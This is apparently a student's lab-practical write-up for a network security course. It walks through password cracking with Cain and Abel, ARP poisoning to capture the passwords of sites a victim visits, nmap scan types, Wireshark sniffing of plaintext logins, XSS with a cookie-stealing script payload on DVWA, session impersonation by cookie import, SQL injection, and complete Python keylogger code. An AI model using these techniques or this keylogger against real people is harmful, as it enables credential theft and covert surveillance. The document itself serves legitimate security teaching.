**Practical 2. a)AIM: Use CrypTool to encrypt and decrypt passwords using RC4 algorithm**

CrypTool is an open-source project that is a free e-learning software for illustrating cryptographic and cryptanalytic concepts

Step1: download cryptools from https://www.cryptool.org/en/ct1/downloads

Step2 : install cryptools

Step 3: start cryptool

Step4: add new file and enter a text

Step 5 : encrypt using **rc4** algorithm ,enter a **key of 8 bits**

Step 6: Decrypt using **rc4** algorithm, and **enter key of 8 bits**

Practical b)Aim: Use Cain and Abel for cracking Windows account password using Dictionary attack and to decode wireless network passwords

info: Cain and Abel was a password recovery tool for Microsoft Windows. It could recover many kinds of passwords using methods such as network packet sniffing, cracking various password hashes by using methods such as dictionary attacks, brute force and cryptanalysis attacks

1. open cian and abel tool
2. Open hash calculator
3. Encrypt a text
4. Copy the **md5** hash
5. Go to **md5** ,select cracker and add to list
6. Select add to list
7. Paste md5 hash
8. Select the hash and select dictonary attack
9. Right click on file and select add to list
10. Select wordlist provided by cian and abel software
11. Start the attack
12. The password ‘password’ is cracked

**Practical 3. a) Aim: Run and analyze the output of following commands in Linux – ifconfig, ping, netstat, traceroute**

ifconfig-**ifconfig** is a system administration utility in Unix-like operating systems for network

interface configuration. The utility is a command-line interface tool and is also used in the system startup scripts of many operating systems.

**Stands for: Interface configuration**

**Function: Configure network interface parameters**

The Windows **Tracert** tool determines the route to a destination by sending ICMP packets to the destination. In these packets, Tracert uses varying IP Time-To-Live (TTL) values. The TTL is effectively a hop counter, where a hop is a location that the packet stops at, to reach the destination

**Ping** is a computer network administration software utility used to test the reachability of a host on an Internet Protocol network. It is available for virtually all operating systems that have networking capability, including most embedded network administration software.

**Function: Send ICMP ECHO\_REQUEST to network hosts**

Syntax: ping -aAbBdDfhLnOqrRUvV6 -c count -F flowlabel -i interval -I interface -l preload -m mark -M pmtudisc\_option -N nodeinfo\_option -w deadline -W timeout -p pattern -Q tos -s packetsize -S sndbuf -t ttl -T timestamp option hop ... destination

In computing, **netstat** is a command-line network utility that displays network connections for Transmission Control Protocol, routing tables, and a number of network interface and network protocol statistics.

**Stands for: Network statistics**

**Function: Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships**

**Practical 3b) Aim: Perform ARP Poisoning in Windows**

step 1: open cian and abel tool

Step 2 : Select sniffer on the top.

Step 3 : Next to folder icon click on icon name start/stop sniffer. Select device and click on ok.

Step 4 : Click on “+” icon on the top. Click on ok.

Step 5 : Shows the Connected host.

Step 6 : Select Arp at bottom.

Step 7 : Click on “+” icon at the top.

Step 8 : Click on start/stop ARP icon on top.

Step 9 : Poisoning the source.

Step 10 : Go to any website on source ip address.

Step 11 : Go to password option in the cain & abel and see the visited site password.

**Practical 4. Aim: Use NMap scanner to perform port scanning of various forms – ACK, SYN, FIN, NULL, XMAS**

Nmap is used to discover hosts and services on a computer network by sending packets and analysing the responses. Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection

Install nmap:

• ACK -sA (TCP ACK scan)

It never determines open (or even open|filtered) ports. It is used to map out firewall rulesets,

determining whether they are stateful or not and which ports are filtered.

• Command: nmap -sA -T4 scanme.nmap.org

• SYN (Stealth) Scan (-sS)

SYN scan is the default and most popular scan option for good reason. It can be performed

quickly, scanning thousands of ports per second on a fast network not hampered by intrusive

firewalls.

• Command: nmap -p22,113,139 scanme.nmap.org

FIN Scan (-sF)

Sets just the TCP FIN bit.

• Command: nmap -sF -T4 para

• NULL Scan (-sN)

Does not set any bits (TCP flag header is 0)

• Command: nmap –sN –p 22 scanme.nmap.org

• XMAS Scan (-sX)

Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

• Command: nmap -sX -T4 scanme.nmap.org

**Practical 5. a)Aim: Use Wireshark (Sniffer) to capture network traffic and analyze**

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education

1. Install and open WireShark
2. Select the type of connection you’re connected to
3. This will start capturing packets
4. Now visit a website which is not https secured
5. Now come back to wireshark and stop the packet capture process
6. Apply Filter : http.request.method==POST
7. Select the packet and expand the subtree
8. The entered login id and password will be visible

**Practical 6.Aim: Simulate persistent cross-site scripting attack**

Cross-site scripting is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy

1. Download and extract DVWA
2. Extract DVWA in xampp htdocs folder
3. Start xampp server
4. Go to localhost in DVWA folder
5. In DWVA/config rename ‘config.inc.php.dist’ to ‘config.inc.php’ and change credentials
6. And refresh the page
7. Then create/reset database and login
8. Click login and enter admin :: password
9. Change DVWA security level to low
10. Go to stored xss and execute an attack
11. Go to reflected xss and execute
12. Enter url as
13. http://localhost/DVWA/vulnerabilities/xss\_r/?name=<script>Ealert(document.cookie)</script>#

**Practical 7.Aim: Session impersonation using Firefox and edithiscookie add-on**

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. EditThisCookie is a cookie manager. You can add, delete, edit, search, protect and block cookies. **Tamper Data** is an extension. that allows you to edit HTTP/HTTPS requests and responses as they happen without the need of a proxy. If you are a developer, you can use Tamper Data to debug your websites, or. if you are a pentester, you can use it to search for security vulnerabilities.

Open FireFox> Go to Tools > Addons > Extension(Ctrl+shift+A)

1. Search and install **EditThisCookie** or Cookie Import/Export or any other Cookie tool
2. Then Click on Cookie extension to get cookie
3. Open a Website and Login and then click on export cookie
4. Export and save it in notepad
5. Logout once the cookie gets exported
6. Now go to the edit cookie panel and click on import cookies
7. And paste it from clipboard
8. After clicking on green check we see that we’ve successfully logged

**Practical7 b) Aim: Session impersonation using Firefox and Tamper Data add-on**

1. Search for **tamper data add on** Install this add-on
2. Visit **razorba.com**
3. Start the Tamper data add on
4. Add products to cart
5. View your cart
6. Now click on update cart button
7. Now modify the cookies
8. Click on ok
9. This modifies the no of items

**Practical 8. Aim: Perform SQL injection attack**

An SQL injection is a type of cyber attack in which a hacker uses a piece of SQL (Structured Query Language) code to manipulate a database and gain access to potentially valuable information

1. Login into dvwa and phpMyAdmin
2. Set security level to low
3. Go to sql injection
4. Execute a sql injection **attack (3=3)**

**Practical 9. Aim: Create a simple keylogger using python**

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.

1. Create a new python file and add the following code to it

2. Install necessary packages using pip

3. Run the code (turn off your firewall)

4. Now perform a login (any website)

5. This will save all the keystrokes in a text file

6. Stop the program execution and have a look at the file

**Code:**

from pynput.keyboard import Key,Listener

import logging

log\_dir =""

logging.basicConfig(filename=(log\_dir+"key\_log.txt"),level=logging.DEBUG,

format='%(asctime)s:%(message)s:')

def on\_press(key):

logging.info(str(key))

with Listener(on\_press=on\_press) as listener:

listener.join()